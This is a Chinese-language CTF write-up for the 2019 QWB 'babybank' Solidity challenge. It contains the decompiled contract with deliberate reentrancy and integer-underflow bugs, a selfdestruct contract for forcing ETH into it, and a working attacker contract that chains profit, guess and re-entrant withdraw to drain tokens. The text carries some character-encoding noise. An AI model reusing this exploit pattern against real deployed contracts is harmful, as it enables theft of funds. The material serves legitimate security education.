2019强网杯CTF智能合约题目--babybank wp及浅析并发
ps:本文最早写在个人新博客上,后面会以新博客为主,看心情会把文章同步过来app
使用OnlineSolidityDecompiler对合约进行逆向,获取合约源码伪代码函数
参考其余师傅的分析,贴出美化以后的合约源码ui
pragma solidity ^0.4.23; contract babybank { // 0xe3d670d7 0 mapping(address => uint) public balance; // 0xd41b6db6 1 mapping(address => uint) public level; // 2 address owner; // 3 uint secret; //Don't leak your teamtoken plaintext!!! md5(teamtoken).hexdigest() is enough. //Gmail is ok. 163 and qq may have some problems. event sendflag(string md5ofteamtoken,string b64email); constructor()public{ owner = msg.sender; } //0x8c0320de function payforflag(string md5ofteamtoken,string b64email) public{ require(balance[msg.sender] >= 10000000000); balance[msg.sender]=0; owner.transfer(address(this).balance); emit sendflag(md5ofteamtoken,b64email); } modifier onlyOwner(){ require(msg.sender == owner); _; } //0x2e1a7d4d function withdraw(uint256 amount) public { require(amount == 2); require(amount <= balance[msg.sender]); // 重入漏洞 address(msg.sender).call.gas(msg.gas).value(amount * 0x5af3107a4000)(); // 整形下溢出 balance[msg.sender] -= amount; } //0x66d16cc3 function profit() public { require(level[msg.sender] == 0); require(msg.sender & 0xffff == 0xb1b1); balance[msg.sender] += 1; level[msg.sender] += 1; } // 0xa5e9585f function xxx(uint256 number) public onlyOwner { secret = number; } // 0x9189fec1 function guess(uint256 number) public { require(number == secret); require(level[msg.sender] == 1); balance[msg.sender] += 1; level[msg.sender] += 1; } // 0xa9059cbb function transfer(address to, uint256 amount) public { require(balance[msg.sender] >= amount); require(amount == 2); require(level[msg.sender] == 2); balance[msg.sender] = 0; balance[to] = amount; } }
合约初始状态无ETH,没法执行操做,故需让合约地址拥有必定量的ETHthis
而合约代码中并无相关能够转入ETH的操做,所以只能经过带入ETH执行自毁让ETH强行转入合约地址中spa
构造自毁函数kill3d
function kill() public payable { selfdestruct(address(0x93466d15A8706264Aa70edBCb69B7e13394D049f)); }
带入0.2ETH利用kill函数自销毁,强行向合约转入0.2ETHcode
合约发起sendflag
须要超过10000000000
的tokenblog
而withdraw
函数存在重入漏洞以及整型下溢出token
但限制了一次只能取款2token以及取款者帐户token须要大于等于2
再来看如何增长token
增长token的函数只有profit
和guess
两个函数
profit
函数验证地址低4位为0xb1b1
;且只能在初始状态即level=0
的时候调用一次,调用一次以后level
提高为1,balance
+1
guess
函数会验证secret
值,而secret
值由只能合约全部者调用的xxx
函数赋予;且须要level=1
,调用一次以后level
提高为2,balance
+1
那么函数调用流程就出来了,先profit()
再guess()
profit
函数的绕过,可经过vanity eth获取一个符合条件的地址
guess
函数的绕过,secret值在合约交易信息中可找到
合约部署者的最后一次交易事件中,InputData
函数选择器中,前4个字节0xa5e9585f
为xxx
函数的函数签名,其参数就是部署者调用xxx
函数所传入的参数,即为secret
值
至此,经过了profit
,guess
,知足withdraw
的取款条件
因为withdraw
函数存在重入漏洞以及溢出
构造攻击合约,利用重入漏洞以及溢出可获取巨额代币,并发起payforflag
操做
pragma solidity ^0.4.24; interface BabybankInterface { function withdraw(uint256 amount) external; function profit() external; function guess(uint256 number) external; function transfer(address to, uint256 amount) external; function payforflag(string md5ofteamtoken, string b64email) external; } contract attacker { BabybankInterface constant private target = BabybankInterface(0x93466d15A8706264Aa70edBCb69B7e13394D049f); uint private flag = 0; function exploit() public payable { target.profit(); target.guess(0x0000000000002f13bfb32a59389ca77789785b1a2d36c26321852e813491a1ca); target.withdraw(2); target.payforflag("hunya", "hunya"); } function() external payable { require (flag == 0); flag = 1; target.withdraw(2); } }
合约交易记录中可看到一系列操做,最后的一个交易是将合约中的ETH所有提现到合约全部者地址中,应该是清空ETH为了让下一个作题者又从合约0ETH状态开始作
查看事件记录,已有sendflag
事件